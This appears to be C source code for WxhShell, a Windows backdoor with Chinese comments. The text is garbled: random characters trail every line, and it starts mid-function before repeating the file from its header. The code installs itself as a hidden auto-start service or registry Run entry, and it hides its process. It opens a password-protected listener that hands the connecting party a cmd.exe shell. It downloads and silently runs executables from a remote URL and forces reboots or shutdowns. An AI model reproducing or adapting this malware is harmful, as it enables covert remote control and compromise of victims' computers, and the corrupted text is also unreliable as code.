    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); em'3 8L|(  
    if(Boot(SHUTDOWN)) Q-, 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k&yBB%g  
    else { a\-5tYo`u  
    closesocket(wsh); nkq{_;xp  
    ExitThread(0); v2|zIZ  
    } }!g$k $y  
    break; KXTk.\c  
    } L^^f.w#m  
  // 获取shell "j%Gr :a  
  case 's': { Y+S<?8pA  
    CmdShell(wsh);  V13^SVM  
    closesocket(wsh); ~i-n_7+  
    ExitThread(0); 0Wd5s{S  
    break; \sGJs8#v][  
  } %.[AZ>  
  // 退出 937<:zo:  
  case 'x': { z V $Z@o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @ &c@  
    CloseIt(wsh); !/2kJOSp  
    break; (N}\Wft%  
    } TbMlYf]It  
  // 离开 @bkSA  
  case 'q': { k;umLyz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B%Oi1bO  
    closesocket(wsh); Uwiy@ T Z  
    WSACleanup(); I-s$U T[p  
    exit(1); e,vgD kI;  
    break; <O9WCl  
        } cL %eP.  
  } Pw|/PfG  
  } #SLi v  
`5t~ Vlp  
  // 提示信息 99h#M3@!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /\jRr7 Cd  
} -?T|1FA,  
  } ^-# :T  
vO{[P# L}  
  return; 1i Y?t  
} Z _<Wr7D  
+DT tKj  
// shell模块句柄 AxJf\B8  
int CmdShell(SOCKET sock) 0} \;R5a<  
{ 1 xrmmK  
STARTUPINFO si; =Oh/4TbW[  
ZeroMemory(&si,sizeof(si)); Y$q--JA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K<ldl.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0J)VEMC  
PROCESS_INFORMATION ProcessInfo; P`hg*"<V  
char cmdline[]="cmd"; >48)@sS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;hDIoSz  
  return 0; $>~4RXC  
} mpCKF=KL.  
T7G{)wm  
// 自身启动模式 6l?KX  
int StartFromService(void) >*w(YB]/$V  
{ d cht8nX7~  
typedef struct 5PHAd4=bJ  
{ Wm58[;%LTw  
  DWORD ExitStatus; 9hwn,=Vh)  
  DWORD PebBaseAddress; 9NC6q-2  
  DWORD AffinityMask; j|% C?N  
  DWORD BasePriority; `Oi6o[a  
  ULONG UniqueProcessId; & V/t0  
  ULONG InheritedFromUniqueProcessId; [VB\ T|$  
}   PROCESS_BASIC_INFORMATION; 6v -2(Y  
0Ioa;XgOn  
PROCNTQSIP NtQueryInformationProcess; ]\R%@FCYc  
[k +fkr]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bDcWPwe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o2(*5*b!@e  
@6DV?VL  
  HANDLE             hProcess; pzBd(d^*  
  PROCESS_BASIC_INFORMATION pbi; i*vf(0G  
r#.\5aQ t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tdRnRoB  
  if(NULL == hInst ) return 0; 5E|/n(  
d 'wWj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T xwZ3E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s2+s1%^Ll  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H"g p  
Q_R&+@ju  
  if (!NtQueryInformationProcess) return 0; :] +D+[c)  
k!,&L$sG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \\Huk*Jn{  
  if(!hProcess) return 0; xqzdXL}  
;lo!o9`<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [318Q%W&  
|a {*r.  
  CloseHandle(hProcess); r(qU~re'  
Pd<>E*>}c.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y_&)>;  
if(hProcess==NULL) return 0; G&*2h2,]  
)![? JXf  
HMODULE hMod; kO\aNtK  
char procName[255]; O7RW*V:G@  
unsigned long cbNeeded; {7X80KI  
bc|DC,n?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g)k::k)<e  
NvfQa6?;  
  CloseHandle(hProcess); 0l ]K%5#  
Y;XEC;PXD  
if(strstr(procName,"services")) return 1; // 以服务启动 S(*SUH  
Hlq#X:DCn  
  return 0; // 注册表启动 {^ ^)bf|1'  
} n P4DHb&5  
.qBf`T;  
// 主模块 m;nT ?kv  
int StartWxhshell(LPSTR lpCmdLine) `H6kC$^Ofx  
{ F&lvofy23  
  SOCKET wsl; RI_3X5.KQ  
BOOL val=TRUE; ebS>_jD  
  int port=0; !N1DJd  
  struct sockaddr_in door; p9)'nU'\t  
+K%4jIm  
  if(wscfg.ws_autoins) Install(); e[7n`ka '  
Xj<B!Wn*Xb  
port=atoi(lpCmdLine); 5)GO  
C_= WL(  
if(port<=0) port=wscfg.ws_port; ]MP6VT  
5}4r'P$m:  
  WSADATA data; F|XRh6j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /_P5U E(  
!7lS=D(?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >h7qI-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); auTApYS53  
  door.sin_family = AF_INET; \Z^YaKj&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q_F8u!qrZ  
  door.sin_port = htons(port); Q=%1@ ,x"  
~sSlfQWMzy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0ZXG{Gp9S  
closesocket(wsl); AVA hS}*t  
return 1; j9YI6X"  
} gG^K\+S  
-Ug  
  if(listen(wsl,2) == INVALID_SOCKET) { =:zmF]j9  
closesocket(wsl); vo[Zuv?<h  
return 1; Vx^+Z,y&QP  
} qqSf17sW  
  Wxhshell(wsl); ~% QVjzMC  
  WSACleanup(); RAQi&?Ko  
COa"zg  
return 0; _kb $S  
A-&C.g  
} io$!z=W  
v'*#P7%Kf  
// 以NT服务方式启动 fKMbOqU_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VSCOuNSc  
{ mh"&KX86W  
DWORD   status = 0; lmZ Ssx  
  DWORD   specificError = 0xfffffff; Wej8YF@  
T,,,+gPx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gD0 FRKn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x-km)2x=W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;aip1Df  
  serviceStatus.dwWin32ExitCode     = 0; <8>gb!DG  
  serviceStatus.dwServiceSpecificExitCode = 0; MkG3TODfHB  
  serviceStatus.dwCheckPoint       = 0; X9#;quco@  
  serviceStatus.dwWaitHint       = 0; AAE8j.  
Tt.wY=,K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `)FSJV1  
  if (hServiceStatusHandle==0) return; (8u.Xbdh  
3eqnc),Z  
status = GetLastError(); )Ab!R:4  
  if (status!=NO_ERROR) F{a--  
{ y8uB>z+#+;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t/\J  
    serviceStatus.dwCheckPoint       = 0; ++Qg5FukR  
    serviceStatus.dwWaitHint       = 0; Cyg\FHs  
    serviceStatus.dwWin32ExitCode     = status; WUSkN;idVG  
    serviceStatus.dwServiceSpecificExitCode = specificError; hTZaI*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pDO&I]S`q0  
    return; (5] |Kcp|  
  } jemg#GB8  
q"@Y2lhD!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E-_FxBw  
  serviceStatus.dwCheckPoint       = 0; mYf7?I~  
  serviceStatus.dwWaitHint       = 0; L<encPJt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cTpAU9|(  
} =l TV2C<  
qr[H0f]  
// 处理NT服务事件,比如:启动、停止 pt&(c[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %Uj7 g>  
{ -ckk2D?  
switch(fdwControl) ][1 *.7-  
{ SyFO f  
case SERVICE_CONTROL_STOP: g<VJ4TE6R  
  serviceStatus.dwWin32ExitCode = 0; 4hep1Kz%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E`3yf9"  
  serviceStatus.dwCheckPoint   = 0; UGK4uK+I`  
  serviceStatus.dwWaitHint     = 0; <taN3  
  { #y }{ 'rF?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P)Vm4u 1  
  } |'xVU8  
  return; gf()NfUvRH  
case SERVICE_CONTROL_PAUSE: M/XxiF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !j,LS$tPu  
  break; #;?j]npg]  
case SERVICE_CONTROL_CONTINUE: YoV^Y&:9<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y~CK&[H  
  break; B>}=x4-8  
case SERVICE_CONTROL_INTERROGATE: :gMcl"t--  
  break; Mvq5s+.  
}; M}E0Msq_o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A` x_M!m  
} SR@yG:~  
8y5iT?.~vy  
// 标准应用程序主函数 3VZeUOxY\W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s*.CJ  
{ |X/ QSL  
G:NI+E"]  
// 获取操作系统版本 bLyU;  
OsIsNt=GetOsVer(); m?I$XAE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i#o:V/Z .  
zrWkz3FN  
  // 从命令行安装 T >X nVK  
  if(strpbrk(lpCmdLine,"iI")) Install(); Zi5d"V[}T  
IKx]?0sS  
  // 下载执行文件 / E~)xgPM<  
if(wscfg.ws_downexe) { =c 3;@CO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ww&~ZZZ {  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8.4 1EKr2  
} J0@<6~V6o  
d?G ~k[C!a  
if(!OsIsNt) { #?/&H;n_8S  
// 如果时win9x,隐藏进程并且设置为注册表启动 [EUp4%Z #  
HideProc(); BFP (2j  
StartWxhshell(lpCmdLine); f$vWi&(  
} 9~8 A>  
else f>\guuG  
  if(StartFromService()) :=qblc  
  // 以服务方式启动 5}d"nx  
  StartServiceCtrlDispatcher(DispatchTable); gPs%v`y)*D  
else Enu/Nj 2  
  // 普通方式启动 #p@8m_g  
  StartWxhshell(lpCmdLine); $\BRX\6(-  
kk_$j_0  
return 0; W<<{}'Db/#  
} *"4d6  
tW4|\-E"s4  
PMER~}^  
Y0`@$d&n  
=========================================== nA:\G":\y  
GRV#f06  
i;4|UeUl  
/[Oo*}Dc=F  
"iFA&$\  
jiS|ara"  
" Vsh7>|@  
s ~'><ioh  
#include <stdio.h> !QK ~l  
#include <string.h> X=O}k&  
#include <windows.h> /5 rWcX  
#include <winsock2.h> tmM8YN|  
#include <winsvc.h> 6E~T$^Q}  
#include <urlmon.h> v0EF?$Wo  
>05_#{up  
#pragma comment (lib, "Ws2_32.lib") ^B[%|{cO  
#pragma comment (lib, "urlmon.lib") $FV!HD  
qI-q%]l  
#define MAX_USER   100 // 最大客户端连接数 x8H%88!j*  
#define BUF_SOCK   200 // sock buffer 3QlV,)}  
#define KEY_BUFF   255 // 输入 buffer 6*3J3Lc_<  
^+Ho#]  
#define REBOOT     0   // 重启 W\xM$#)m  
#define SHUTDOWN   1   // 关机 9Yih%d,  
@* a'B=7  
#define DEF_PORT   5000 // 监听端口 e!cZW.B=`f  
72oiO[>N'  
#define REG_LEN     16   // 注册表键长度 OnGtIY  
#define SVC_LEN     80   // NT服务名长度 Hd)z[6u8eT  
c5~d^  
// 从dll定义API NPjh2 AJm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #$trC)?~q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o(iv=(o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XEd|<+P1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %si5cc?  
+[l52p@a  
// wxhshell配置信息 TE+d?  
struct WSCFG { UO%Vu C5B  
  int ws_port;         // 监听端口 dxm_AUM  
  char ws_passstr[REG_LEN]; // 口令 1QHCX*_  
  int ws_autoins;       // 安装标记, 1=yes 0=no }2qmL$  
  char ws_regname[REG_LEN]; // 注册表键名 V'vDXzk\  
  char ws_svcname[REG_LEN]; // 服务名 B/#tR^R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GtZkzVqLd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =*f>vrme  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WH Zz?|^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0fc]RkHs"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A)I4 `3E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }T!2IaAB  
AEx|<E0  
}; UPtWj8h  
xgl~4  
// default Wxhshell configuration eM)E3~K:2  
struct WSCFG wscfg={DEF_PORT, NXhQdf  
    "xuhuanlingzhe", [H#*#v  
    1, "52nT  
    "Wxhshell", /rRQ*m_  
    "Wxhshell", b}P5*}$:9"  
            "WxhShell Service", cp|&&q  
    "Wrsky Windows CmdShell Service", ![O@{/  
    "Please Input Your Password: ", IEb"tsel  
  1, K*&?+_v :  
  "http://www.wrsky.com/wxhshell.exe", 6 isz  
  "Wxhshell.exe" ~r`~I"ZK7^  
    }; f@roRn8p?  
XxT7YCi  
// 消息定义模块 Bsm>^zZ`YU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $)OUOv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h'8w<n+%)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rV LUT  
char *msg_ws_ext="\n\rExit."; .f'iod-   
char *msg_ws_end="\n\rQuit."; S30@|@fTz  
char *msg_ws_boot="\n\rReboot..."; H*U\P2C!)  
char *msg_ws_poff="\n\rShutdown..."; !X 3/2KRP7  
char *msg_ws_down="\n\rSave to "; p^_E7k<ag  
[oOA@  
char *msg_ws_err="\n\rErr!"; #A|~s;s>N  
char *msg_ws_ok="\n\rOK!"; .hh 2II  
Up|\&2_  
char ExeFile[MAX_PATH]; ZB-+ bY  
int nUser = 0; 3HsjF5?W  
HANDLE handles[MAX_USER]; ,6[}qw) *  
int OsIsNt; Ck,.4@\tK  
kqYvd]ss  
SERVICE_STATUS       serviceStatus; ,WF)GS|7V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _#c^z;!  
4uip!@$K  
// 函数声明 &JoMrcEZ  
int Install(void); F\. n42Tz  
int Uninstall(void); nU"V@_?\  
int DownloadFile(char *sURL, SOCKET wsh); *qcL(] Yq  
int Boot(int flag); 4_,l[BhsQG  
void HideProc(void); /Cd`h ;#@  
int GetOsVer(void); Zp|LCE"  
int Wxhshell(SOCKET wsl); f[)_=T+  
void TalkWithClient(void *cs); s)]Z*#ZZ  
int CmdShell(SOCKET sock); M,[u}Rf^w  
int StartFromService(void); Fjc+{;x  
int StartWxhshell(LPSTR lpCmdLine); "4FL<6  
&k3'UN!&Ix  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k fx<T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?i4}[q  
06bl$%  
// 数据结构和表定义 +4emkDTdR  
SERVICE_TABLE_ENTRY DispatchTable[] =  U4#[>*  
{ mY9u/; dK  
{wscfg.ws_svcname, NTServiceMain}, YWA:741  
{NULL, NULL} 4+mawyM  
}; dG{`Jk  
pk'@!|g%=  
// 自我安装 w $7J)ngA9  
int Install(void) ?U0iHg{  
{ x q93>Hs  
  char svExeFile[MAX_PATH]; t" 1'B!4  
  HKEY key; ak50]KYo  
  strcpy(svExeFile,ExeFile); `+b>@2D_  
+j5u[X  
// 如果是win9x系统,修改注册表设为自启动 &?3?8Q\  
if(!OsIsNt) { EmNB}\IYU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +P6#7.p`Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R<mLG $  
  RegCloseKey(key); WfVkewuPo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iL1.R+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x_Ki5~w5  
  RegCloseKey(key); :=04_5 z  
  return 0; 8eP2B281  
    } xJ9_#$ngeM  
  } 96F:%|yG  
} S=lA^#'UdX  
else { . iq.H  
[Dq7mqr$  
// 如果是NT以上系统,安装为系统服务 U'LO;s04m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1Qf21oN{  
if (schSCManager!=0) EU,4qO  
{ ^ j@Q2>&?  
  SC_HANDLE schService = CreateService uMF\3T(x4  
  ( +7<{yP6wU  
  schSCManager, S6H=(l58  
  wscfg.ws_svcname, pooi8" G  
  wscfg.ws_svcdisp, tBG :ECUL  
  SERVICE_ALL_ACCESS, $XFG1?L!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  49 3ik  
  SERVICE_AUTO_START, u0$7k9mE  
  SERVICE_ERROR_NORMAL, sXTt )J  
  svExeFile, HH6b{f@^  
  NULL, }eb%"ZH4|  
  NULL, n:he`7.6O  
  NULL, tH:ea$A  
  NULL, #s1M>M)  
  NULL &+`l $h  
  ); oO @6c%  
  if (schService!=0) 'KQ]7  
  { W<2%J)N<  
  CloseServiceHandle(schService); K_`*ZV{r  
  CloseServiceHandle(schSCManager); w;QDQ fx0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $E|W|4N  
  strcat(svExeFile,wscfg.ws_svcname); #`GW7(M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G"MpA[a_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zx(j6  
  RegCloseKey(key); Xkl^!,  
  return 0; 4PiNQ'*  
    } XoSjYG(>,  
  } p"H8;fPA0  
  CloseServiceHandle(schSCManager); r_xo>y~S  
} fY=iQ?{/[  
} &X+V}  
EyNI]XEj  
return 1; EhB9M!Y`@  
} QY+#Vp<`  
#2ZXYH}  
// 自我卸载 0&/1{Dk*n  
int Uninstall(void) z9HQFRbo[  
{ [tMf KO  
  HKEY key; 3N+P~v)T'  
/F;*[JZIb  
if(!OsIsNt) { .F#mT h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q77qrx3  
  RegDeleteValue(key,wscfg.ws_regname);  8k J k5  
  RegCloseKey(key); '0 ( Bb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _$ixE~w-!  
  RegDeleteValue(key,wscfg.ws_regname); P+}qaup  
  RegCloseKey(key); ? |8&!F  
  return 0; ,zXL8T  
  } #EHBS~^  
} qoZ*sV  
} 6j"(/X|Ex5  
else { 9^a>U(,  
k|A!5A2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]Vb#(2<2  
if (schSCManager!=0) =V5.c+  
{ !a~x |pjJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); LOnhFX   
  if (schService!=0) *|t]6!aVLS  
  { 6S6nE%.3  
  if(DeleteService(schService)!=0) { t C6c4j  
  CloseServiceHandle(schService); FG#j0#|*  
  CloseServiceHandle(schSCManager); c+a f=ac  
  return 0; f{AgKW9"  
  } ,dVCbAS@  
  CloseServiceHandle(schService); (la<X <w  
  } hsqUiB tc6  
  CloseServiceHandle(schSCManager); W$'pUhq\H  
} C9=f=sGL  
} J$e.$ah;  
K,IOD t  
return 1; N7oMtlvL[w  
} IN%>46e`  
#Ejly2C,  
// 从指定url下载文件 e-e{-pB6  
int DownloadFile(char *sURL, SOCKET wsh) 0'py7  
{ Q|ik\  
  HRESULT hr; Y43#];  
char seps[]= "/"; mlVv3mVyR<  
char *token; WHNb.>  
char *file; 8W$="s2  
char myURL[MAX_PATH]; )F~>  
char myFILE[MAX_PATH]; O"#`i{^?2  
PzV(e)~7  
strcpy(myURL,sURL); tLvli>y@  
  token=strtok(myURL,seps); hf?^#=k^  
  while(token!=NULL) %ly;2H Ik  
  { Qy70/on9  
    file=token; jSVO$AW~C  
  token=strtok(NULL,seps); BphF+'CM  
  } 3?%kawO&  
; zvnDox  
GetCurrentDirectory(MAX_PATH,myFILE); EmUxM_ T/2  
strcat(myFILE, "\\"); 7S1!|*/ I  
strcat(myFILE, file); {30<Vc=  
  send(wsh,myFILE,strlen(myFILE),0); f.f4<_v'h  
send(wsh,"...",3,0); }2 r08,m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )m'_>-`^:  
  if(hr==S_OK) ZF t^q /pw  
return 0;  ~Afs  
else @s@  
return 1; v8@dvT<  
zh.c_>jS  
} (s3%1OC[  
~ZNhU;%YW  
// 系统电源模块 M/DTD98'N  
int Boot(int flag) "_K 6=  
{ ]Bsq?e^  
  HANDLE hToken; y2U:( H:l!  
  TOKEN_PRIVILEGES tkp; L[bGO|O  
4eEs_R  
  if(OsIsNt) { I;v`o{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @j (jOe  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $G_<YVXcG  
    tkp.PrivilegeCount = 1; O9_YVE/-]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "qsNySI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #K l2K4  
if(flag==REBOOT) { UBVb#FNF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H_j<%VW  
  return 0; =c,gK8C  
} U %ESuq#  
else { DPwSg\*)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w!}1oy  
  return 0; )|{{}w~`  
} l0&8vhw8k  
  } [86'/:L\2  
  else { zK 2wLX  
if(flag==REBOOT) { 752wK|o0|;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ay_D.gxz  
  return 0; 3CE8+PnT  
} p4'"Wk8  
else { !Ia"pNDf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j;v%4G  
  return 0; L0kNt &di  
} {h"\JI!  
} JF*g!sV%  
BFO Fes`>~  
return 1; { +2cRr.  
} qN[7zsaj  
\.c )^QQ  
// win9x进程隐藏模块 zy[=OX+  
void HideProc(void) n@;x!c< +  
{ 'pY;]^M  
ql~{`qoD~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t^,Qy.L0  
  if ( hKernel != NULL ) p'uz2/g  
  { wzPw; xuG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DOVX$N$3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3\n{,Q  
    FreeLibrary(hKernel); &a_kJ)J  
  } qb4;l\SfT  
L~{Vt~H9"  
return; 51 0XDl~b  
} ^|GtO.  
50ew/fZj|  
// 获取操作系统版本 ocqB-C]  
int GetOsVer(void) 5\0.[W{^  
{ g&3#22z  
  OSVERSIONINFO winfo; b8Rh|"J)d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *ZR@ z80i  
  GetVersionEx(&winfo); e=l5j"gq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0?us]lx  
  return 1; ` G=L07  
  else d?M!acB  
  return 0; =)- Q?1q  
} 6 2`PK+  
r!$NZ2I  
// 客户端句柄模块 < }wAP_y  
int Wxhshell(SOCKET wsl) 2c~?UK[1  
{ pLQSG}N  
  SOCKET wsh; iQ!  
  struct sockaddr_in client; H='9zqYZ<W  
  DWORD myID; 2^ bpH%  
zt)PZff/YQ  
  while(nUser<MAX_USER) "YzTMKu  
{ ?>.g;3E$  
  int nSize=sizeof(client); >3`ctbe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `Kc %S^C'  
  if(wsh==INVALID_SOCKET) return 1; C6'*/wq  
vvsNWA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +Bq}>  
if(handles[nUser]==0) K-EI?6`xM  
  closesocket(wsh); 8<-oJs_o+  
else S`c]Fc  
  nUser++; UI<PNQvo9  
  } 2b4pOM7W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B~!G lT  
+:"6`um|  
  return 0; "dK|]w8  
} o;VkoYV  
KBr5bcm4u  
// 关闭 socket < k+fKl  
void CloseIt(SOCKET wsh) PF'5z#] NP  
{ E7yf[/it  
closesocket(wsh); moVa'1ul  
nUser--; q3x;_y^  
ExitThread(0); \Qi#'c$5+a  
} nrS[7~  
7z g)h  
// 客户端请求句柄 ll(e,9.D  
void TalkWithClient(void *cs) 5S\][;u  
{ 5"}y\  
Z9"{f)T  
  SOCKET wsh=(SOCKET)cs; ?79SPp)oo  
  char pwd[SVC_LEN]; Zc4(tf9  
  char cmd[KEY_BUFF]; y#Mc4?  
char chr[1];  \Z\IK  
int i,j; -Ap2NpZ"t  
K#l  -?  
  while (nUser < MAX_USER) { E?Qz/*'zv  
Ko$ $dkSE  
if(wscfg.ws_passstr) { 8Fd1;G6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G>=9gSLM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0+K`pS'  
  //ZeroMemory(pwd,KEY_BUFF); |t&G&)~:  
      i=0; :$M9XZ~\  
  while(i<SVC_LEN) { $ ] W[y=  
A*\o c  
  // 设置超时 u#41osUVW>  
  fd_set FdRead; o%V @D'w  
  struct timeval TimeOut; 1N!Oslum  
  FD_ZERO(&FdRead); lBlSNDs  
  FD_SET(wsh,&FdRead); aPD?Bh>JU  
  TimeOut.tv_sec=8; VM-qVd-  
  TimeOut.tv_usec=0; lL:KaQ0E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P9 {}&z%:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }zkL[qu;  
+=ZWau   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N{1.g S  
  pwd=chr[0]; mP9cBLz  
  if(chr[0]==0xd || chr[0]==0xa) { j>$=SMc  
  pwd=0; .mvB99P{<  
  break; <Jwi ~I=^  
  } ]regi- LGU  
  i++; Zz"I.$$[M  
    } W<\kf4Y  
" Sc5qG  
  // 如果是非法用户,关闭 socket u:_sTfKm&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q^$ghZ6V  
} E|HSwTHe  
^y&q5p jj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x`]Of r'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a$C2}  
:d;[DYFLxb  
while(1) { bH'S.RWp=  
NFB *1_m  
  ZeroMemory(cmd,KEY_BUFF); SV$nyV  
 7]p>XAb  
      // 自动支持客户端 telnet标准   7n\ThfH{  
  j=0; EfFz7j&X  
  while(j<KEY_BUFF) { c*N50%=4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A5sf  
  cmd[j]=chr[0]; )D:9R)m  
  if(chr[0]==0xa || chr[0]==0xd) { rei 8LW  
  cmd[j]=0; MQwIPjk8  
  break; j'3j}G%\T  
  } ]kRI}Om2  
  j++; '#O;mBPNi  
    } *%:@ cbF-M  
cb +l"FI7  
  // 下载文件 +C'XS{K,#  
  if(strstr(cmd,"http://")) { T |37#*c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K'x4l,rq  
  if(DownloadFile(cmd,wsh)) '9'l=Sh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VLiIO"u;  
  else |)9thIQF  
